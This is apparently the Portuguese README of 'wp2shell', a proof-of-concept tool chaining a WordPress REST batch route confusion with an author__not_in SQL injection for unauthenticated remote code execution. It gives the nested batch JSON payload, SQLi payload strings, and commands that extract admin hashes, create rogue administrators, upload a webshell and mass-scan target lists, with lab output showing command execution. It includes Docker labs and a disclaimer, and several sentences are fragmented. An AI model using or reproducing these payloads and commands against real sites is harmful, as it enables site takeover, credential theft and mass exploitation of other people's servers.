
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core
Confusão de rotas da API REST (CVE-2026-63030) encadeada com uma injeção SQL no
WP_Queryauthor__not_in(CVE-2026-60137) → execução remota de código pré-autenticação contra uma instalação padrão do WordPress.Descoberto por Adam Kues (Assetnote / Searchlight Cyber), divulgado em 2026-07-17. Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| Encadeamento (RCE não autenticado) | WordPress 6.9.0 - 6.9.4 e 7.0.0 - 7.0.1 |
| Apenas SQLi (necessita de um plugin/tema facilitador) | 6.8.0 - 6.8.5 |
| Não afetados | ≤ 6.8 para a confusão de lotes; 6.9.5 / 7.0.2 / 7.1-beta2 (corrigido) |
| Pré-condições | API REST acessível; sem cache de objeto persistente (Redis/Memcached); ≥1 post publicado |
| Autenticação necessária | nenhuma |
| Impacto | não autenticado → criar um novo administrador → execução de código (a SQLi também extrai o hash do admin) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests e sem funcionalidades quebradas.shell sem credenciais forja um WP_Post falso através da confusão UNION de um único post, contorna o personalizador para criar um administrador novo (POST /wp/v2/users), faz login e envia um webshell com token. A extração do hash do admin via SQLi (read --preset users) é mantida como um segundo caminho verificado.block_cannot_read) usado como verificação primária e não destrutiva.sqli) que os outros PoCs não têm.$wp$2y$ (-m 35500).wp2shell/
├── README.md ← você está aqui
├── wp2shell.py ← o PoC unificado (ficheiro único, apenas stdlib, por 0xsha)
└── lab/ ← laboratórios Docker reproduzíveis + matriz de confiabilidade
├── docker-compose.yml (laboratório padrão 6.9.4)
├── docker-compose.matrix.yml (parametrizado: qualquer versão × MySQL/MariaDB)
├── docker-compose.sqli.yml (laboratório "Apenas SQLi" 6.8.3)
├── matrix.sh (executa toda a matriz de confiabilidade)
└── sqli-only/facilitator.php (mu-plugin: o sumidouro facilitador 6.8.x)
Os seis PoCs públicos dos quais esta ferramenta se baseia não estão aqui vendidos; eles estão vinculados em Créditos.
Tudo abaixo foi verificado no laboratório Docker local (ver §4; alegações que não foram executadas em laboratório estão assim rotuladas.
O encadeamento solda dois bugs independentes. Os números de linha são do código fonte real do WordPress 6.9.4 (extraído de wordpress:6.9.4-apache).
author__not_in (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guarda só dispara para ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passa direto
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← interpolação bruta
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint DENTRO do implode
Uma string author__not_in ignora a guarda is_array() (2404); implode(',', (array)"…") retorna-a inalterada (2408) e é concatenada diretamente no SQL
(2409). O irmão author__in (2415) reaplica array_map('absint', …)
dentro do implode e está seguro - aquele array_map faltante é o bug. O
valor chega como ... post_author NOT IN (<valor>) ..., portanto 0) <sql>-- -
fecha a lista e anexa SQL.
Colocar uma string lá é a parte difícil: o endpoint REST de posts mapeia
author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) mas
declara-o como 'type' => 'array' de inteiros, então o núcleo coage/rejeita uma string:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verificado em 6.8.3)
É por isso que o Bug A sozinho é apenas "facilitado". O Bug B introduz a string passando pela validação em 6.9+.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // um caminho inválido torna-se um WP_Error em $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← adicionado a $validation …
1753 continue; // ← … mas $matches é PULADO
1754 }
1757 $matches[] = $match; // ← $matches só cresce para requisições VÁLIDAS
1825 foreach ( $requests as $i => $single_request ) { // indexado por posição em $requests
1841 $match = $matches[ $i ]; // ← $matches é MAIS CURTO → +1 deslocamento
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
Uma sub-requisição WP_Error é adicionada a $validation[] (1752) mas não a
$matches[] (o continue em 1753 pula 1757), então $matches fica mais curto e
$matches[$i] (1841) contém o manipulador da próxima requisição. A requisição
i é despachada com o manipulador da requisição i+1, carregando seus próprios
parâmetros e seu próprio veredito de validação (que passou).
Origem da regressão (verificado no diff 6.8.3 → 6.9.4): em 6.8.3 o loop adiciona
$matches[] = $match para todas as requisições e caminhos inválidos são descartados
no primeiro loop - os arrays permanecem alinhados, sem dessincronização. A
refatoração em 6.9.0 introduziu o deslocamento. É exatamente por isso que 6.8.x é
"apenas SQLi" e a cadeia RCE começa em 6.9.0.
O patch adiciona $matches[] também para entradas de erro, endurece a
reentrância e analisa author__not_in com um auxiliar de lista de IDs. (6.9.5
não estava no Docker Hub na hora do teste, então isso vem dos avisos, não de um
diff em laboratório.)
O esquema de lote só permite sub-requisições POST/PUT/PATCH/DELETE, mas
get_items de posts (o sumidouro author_exclude) é apenas GET, então a
confusão é aninhada duas vezes:
// Lote EXTERNO → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] caminho inválido → WP_Error → +1 deslocamento
{"method":"POST","path":"/wp/v2/posts", // [1] portador: validado como CRIAÇÃO de posts →
"body": { /* Lote INTERNO */ }}, // seu corpo `requests` nunca é verificado pelo esquema
{"method":"POST","path":"/batch/v1", // [2] manipulador → [1] despachado como serve_batch_request_v1
"body":{"requests":[]}} // (sem permission_callback → não autenticado)
]}
// Lote INTERNO (GET agora permitido):
// [0] POST /// WP_Error → deslocamento +1 interno
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users não tem author_exclude → PAYLOAD passa intacto
// [2] GET /wp/v2/posts [2]'s manipulador = posts get_items → executa [1] → SQLi
/// é o preparador da dessincronização (qualquer caminho rejeitado por
wp_parse_url() funciona). A ferramenta também inclui uma variante --variant categories
da mesma técnica.
Uma única sonda não destrutiva e independente de versão confirma
CVE-2026-63030 mesmo quando o sumidouro SQLi está em cache de objeto ou filtrado
por WAF: um lote de sub-requisições POST onde a dessincronização faz com que
POST /wp/v2/posts seja respondida pelo callback de permissão do renderizador de blocos:
responses[1].code == "block_cannot_read" ← um erro de permissão de um manipulador que nunca foi solicitado
wp2shell.py check usa isto como seu sinal primário (formato estrutural post-vs-term
como alternativa). (Técnica de detecção: Hadrian / Icex0.)
O valor está dentro de NOT IN (<valor>), um oráculo booleano limpo: 0) AND (<cond>)-- - retorna linhas se <cond> for verdadeiro. A extração é uma
busca binária caractere por caractere sobre
ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (o COALESCE impede que um
NULL encurte para uma leitura vazia).
Nota de laboratório - baseado em tempo precisa de cuidado.
0) OR SLEEP(n)-- -ingénuo dá sem atraso numa instalação padrão: os posts publicados satisfazem a consulta primeiro e encurtam oOR. A confirmação é um diferencial booleano determinístico; o timing usa0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Observado 0.01s vs 3.04s.
O RCE prático não precisa de senha nem quebra. shell sem credenciais executa
a cadeia completa, tudo verificado em laboratório:
WP_Post falsa. Uma segunda variante de confusão atinge uma consulta
limpa e com UNION: /wp/v2/posts/999999?orderby=none&per_page=500 é validada
contra o esquema de item de post único (portanto, os parâmetros de coleção passam
sem verificação), depois é dessincronizada para o manipulador de coleção de posts.
orderby=none remove o ORDER BY final e per_page=500 mantém WP_Query em modo
de linha completa, então um UNION SELECT sobrevive como uma linha wp_posts
fabricada.oembed_cache + customize_changeset
(com user_id definido para o ID de um admin existente, lido via UNION) +
linhas nav_menu_item. Acionar o oEmbed faz com que o changeset do personalizador
execute .Alternativa mais antiga (--user/--password). read --preset users extrai
wp_users.user_pass (o $wp$2y$… do WordPress 6.9 = bcrypt sobre HMAC-SHA384;
quebre com hashcat -m 35500), depois shell --user/--password faz login
com o texto simples recuperado. Real, mas bcrypt torna lento, então a cadeia de
criação de admin acima é o caminho canónico.
6.8.x tem o Bug A mas não o Bug B, e o núcleo coage author_exclude a um array
de inteiros, então a SQLi é atingível apenas através de um plugin/tema
facilitador que entrega a WP_Query uma string bruta. O subcomando sqli
injecta diretamente nesse sumidouro (baseado em tempo por defeito; booleano
rápido com --true-contains). Demonstrado contra o facilitador lab/sqli-only
em 6.8.3.
wp2shell.pyFicheiro único, Python 3.7+, apenas biblioteca padrão. Transporte pronto para
produção em cada comando: --insecure (TLS auto-assinado), -H 'K: V'
(repetível), --user-agent, --proxy, --retries, --delay.
check impressão digital + marcador de confusão + confirmar a SQLi (não destrutivo)
read ler a BD via SQLi cega (--preset fingerprint|users | --query "SELECT …")
shell RCE: login admin → webshell de plugin com token → executar comandos (-i para um REPL)
sqli SQLi author__not_in contra um sumidouro direto/facilitado (6.8.x, ou qualquer sumidouro de plugin)
scan verificação de vulnerabilidade com threads sobre um único URL OU uma lista .txt (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # logins + hashes $wp$2y$ (+ dica hashcat)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # sem quebra: cria um admin, depois webshell
./wp2shell.py shell https://target -i # shell interativo
./wp2shell.py shell https://target --user admin --password '<quebrado>' --cmd id # ou reutilizar um admin existente
./wp2shell.py scan https://target --prove # URL único, extrai @@version como prova
./wp2shell.py scan targets.txt --threads 10 --json out.json # um .txt de destinos
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# botões de produção: TLS auto-assinado, cabeçalho WAF, Burp, limite de taxa
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# laboratório vulnerável padrão (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # aguardar "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # matriz completa de versão × DB
# laboratório "Apenas SQLi" (6.8.3 + mu-plugin facilitador), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
O admin do laboratório é admin / Admin!2345 - texto simples conhecido apenas
para que o laboratório possa demonstrar o shell pós-autenticação; um atacante
real recupera o hash e o quebra.
O escopo de DB é limitado a MySQL e MariaDB - o núcleo do WordPress não fala outro motor em produção (sem driver PostgreSQL/MSSQL; SQLite apenas através de um plugin raro).
Cada comando exercitado em laboratório: check (marcador block_cannot_read +
booleano + tempo), read (fingerprint / users / --query), shell (criação de
admin sem quebra → login → webshell → uid=33(www-data), mais --user/--password
e REPL interativo), sqli (booleano + tempo), scan (URL único + .txt +
--json + --prove), o payload --variant categories, deteção automática de
endpoint (/wp-json/ + ), e as flags de transporte.
$ ./wp2shell.py check http://localhost:8080
[+] Endpoint de lote acessível e não autenticado (HTTP 207) em http://localhost:8080/wp-json/batch/v1
[+] Confusão de rotas ATIVA - requisição de categorias respondida pelo manipulador do renderizador de blocos (block_cannot_read); CVE-2026-63030 confirmado.
[+] Injeção SQL CONFIRMADA - diferencial booleano cego em author__not_in (CVE-2026-60137).
[+] Canal baseado em tempo também confirmado - linha de base 0.02s vs injetado 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] quebre os hashes $wp$2y$ com: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] Nenhuma credencial fornecida - criando um administrador novo pré-autenticação (sem hash, sem quebra) ...
[+] Administrador criado: wp2_950eeb3deda8 / Wp2!... (id de admin emprestado 1)
[+] Autenticado.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read),
VulnCheck.wp2shell.py, nenhum código copiado literalmente):
WP_Post falso através da confusão de rota de post único, conduzir um gráfico oembed_cache + customize_changeset (user_id=admin) + nav_menu_item para que o personalizador execute como um admin existente, depois para criar um novo administrador.Para testes de segurança autorizados e educação apenas - sistemas que possui ou que pode testar por escrito. Toda exploração aqui foi executada contra um laboratório Docker local e descartável; o webshell é protegido por token e o comando padrão é inócuo. Você é responsável pela forma como usa isto.
POST /wp/v2/users com
roles:["administrator"] agora funciona sob o contexto de admin emprestado, e um
novo administrador wp2_* aparece em wp_users (verificado: uma nova linha de admin).update.php?action=upload-plugin, execute comandos.
Verificado: uid=33(www-data).| WordPress | Motor DB | Caminho | check | Dados extraídos |
|---|
| 6.9.4 | MariaDB 11 | cadeia de lote | ✅ RCE completo | hash admin $wp$2y$… + @@version |
| 7.0.1 | MariaDB 11 | cadeia de lote | ✅ RCE completo | hash admin |
| 6.9.4 | MySQL 8.4 | cadeia de lote | ✅ RCE completo | hash admin (payloads portáteis) |
| 6.8.3 | MariaDB 11 | cadeia de lote | ⛔ 207 mas sem confusão | - (corresponde ao aviso) |
| 6.8.3 | MariaDB 11 | sqli facilitado | ✅ CVE-2026-60137 | @@version, user, db - booleano e baseado em tempo |
?rest_route=POST /wp/v2/usersunion_inject confusão de post único, UnionSQLi, PreAuthAdminCreator), o detector de marcador block_cannot_read, extração COALESCE segura para NULL e timing resistente a jitter.$wp$2y$ → hashcat -m 35500): hashpwn / hashcat.